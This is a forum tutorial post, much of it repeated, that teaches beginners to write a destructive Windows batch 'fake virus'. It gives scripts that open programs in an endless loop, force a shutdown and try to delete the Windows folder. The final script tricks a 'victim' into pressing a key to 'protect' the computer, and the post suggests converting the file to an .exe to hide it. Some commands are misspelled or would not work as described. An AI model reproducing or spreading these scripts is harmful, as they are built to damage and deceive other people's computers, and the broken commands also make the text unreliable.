How to make fake vira in .bat 02-26-2012, 02:54 PM
#1
Hey guys!
This is my first tut, so plzz don't hate me -.-' .
Here are some examples what you can with batch files:
1. Start things (explore, calculator, notepad etc.).
2. Stop things...
3. Destroy things :lol:
4. Make some fun...
For making a batch file, start with open notepad.
Now type: @echo off
Thats indicate that we are starting to make it.
Now lets open something! Type: start <program>
It will look like this:
You can put anything in there. You dont need to use iexplore.
Okay now lets make a message! Type: echo <Your message>
The message will be showed in Command Prompt.
It would look like this:
Okay, now lets make sure the victim will read this. Type: pause
Pause indicates that the user need to press any key, before it will go further.
It look like this:
Now lets try to keep starting something. Lets try with iexplore.
It would look like this:
You can stop a program with following:
Lets try to shutdown a computer! There are some different codes for this.
No Switches: Display information about the shutdown command, same as typing “-?”
-i: Display a GUI. It must be the first switch
-l: Log off the user (This cannot be used on a remote machine: “-m” switch)
-s: Shutdown the computer
-r: Restart the computer
-a: Cancels a system shutdown already in progress
-f: Forces running applications to close without warning
-m \\computername: Instruct a remote computer to shutdown (can be used with the restart & abort switches)
-t xx: Set a given time for shutdown, in seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-d [u] [p]:xx:yy: The reason code for the shutdown:
u is the user code
p is a planned shutdown code
xx is the major reason code (positive integer less than 256)
yy is the minor reason code (positive integer less than 65536)
You don’t have to use them all, but the switches you do use must be in the following order:
shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]
So lets try:
To delete things you need to now the direction! Lets try to delete Windows!
Type following:
Now lets start with some of the dangerous codes!!
Now you now some of the basic features in batch file making.
Lets try to make a really dangerous fake virus. We only use what we have learned so far.
Lets try this:
Now we have destroyed the victims Windows system. He will never could start up unless he gets Windows installed again.
All batch files needs to be saved a specific way: Save 'em as: anything.bat and choose all files.
You can search for a bat to exe converter on google to make it less suspicius (spell?)
Hope this helped you! :D I have made it by myself.
Plzz give a feedback for missing parts or things you would like learn :)
This is my first tut, so plzz don't hate me -.-' .
Here are some examples what you can with batch files:
1. Start things (explore, calculator, notepad etc.).
2. Stop things...
3. Destroy things :lol:
4. Make some fun...
For making a batch file, start with open notepad.
Now type: @echo off
Thats indicate that we are starting to make it.
Now lets open something! Type: start <program>
It will look like this:
Quote:@echo off
start iexplore.exe
You can put anything in there. You dont need to use iexplore.
Okay now lets make a message! Type: echo <Your message>
The message will be showed in Command Prompt.
It would look like this:
Quote:@echo off
echo Just like this!! :D
Okay, now lets make sure the victim will read this. Type: pause
Pause indicates that the user need to press any key, before it will go further.
It look like this:
Quote:@echo off
echo Your make a note here!
pause
Now lets try to keep starting something. Lets try with iexplore.
It would look like this:
Quote:@echo off
:anything
start iexplore.exe
goto anything
You can stop a program with following:
Quote:@echo off
tskkill iexplore.exe
Lets try to shutdown a computer! There are some different codes for this.
No Switches: Display information about the shutdown command, same as typing “-?”
-i: Display a GUI. It must be the first switch
-l: Log off the user (This cannot be used on a remote machine: “-m” switch)
-s: Shutdown the computer
-r: Restart the computer
-a: Cancels a system shutdown already in progress
-f: Forces running applications to close without warning
-m \\computername: Instruct a remote computer to shutdown (can be used with the restart & abort switches)
-t xx: Set a given time for shutdown, in seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-d [u] [p]:xx:yy: The reason code for the shutdown:
u is the user code
p is a planned shutdown code
xx is the major reason code (positive integer less than 256)
yy is the minor reason code (positive integer less than 65536)
You don’t have to use them all, but the switches you do use must be in the following order:
shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]
So lets try:
Quote:@echo off
shutdown -s -f -t 20 -c "Any message here"
To delete things you need to now the direction! Lets try to delete Windows!
Type following:
Quote:@echo off
del C:\Windows
Now lets start with some of the dangerous codes!!
Now you now some of the basic features in batch file making.
Lets try to make a really dangerous fake virus. We only use what we have learned so far.
Lets try this:
Quote:@echo off
echo You are getting hacked!!
echo Press any key to protect your computer.
pause
del C:\Windows
shutdown -s -f -t 20 -c "To bad! I just deleted Windows! :P"
Now we have destroyed the victims Windows system. He will never could start up unless he gets Windows installed again.
All batch files needs to be saved a specific way: Save 'em as: anything.bat and choose all files.
You can search for a bat to exe converter on google to make it less suspicius (spell?)
Hope this helped you! :D I have made it by myself.
Plzz give a feedback for missing parts or things you would like learn :)
(This post was last modified: 02-26-2012, 02:57 PM by zaki.cr7.)
If you're cool click this: http://adf.ly/MWQtY
My newly created blog: http://www.learn-basic-hacking.blogspot.dk/
My newly created blog: http://www.learn-basic-hacking.blogspot.dk/

![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: Signature.png]](https://dl.dropbox.com/u/81692631/Signature.png)
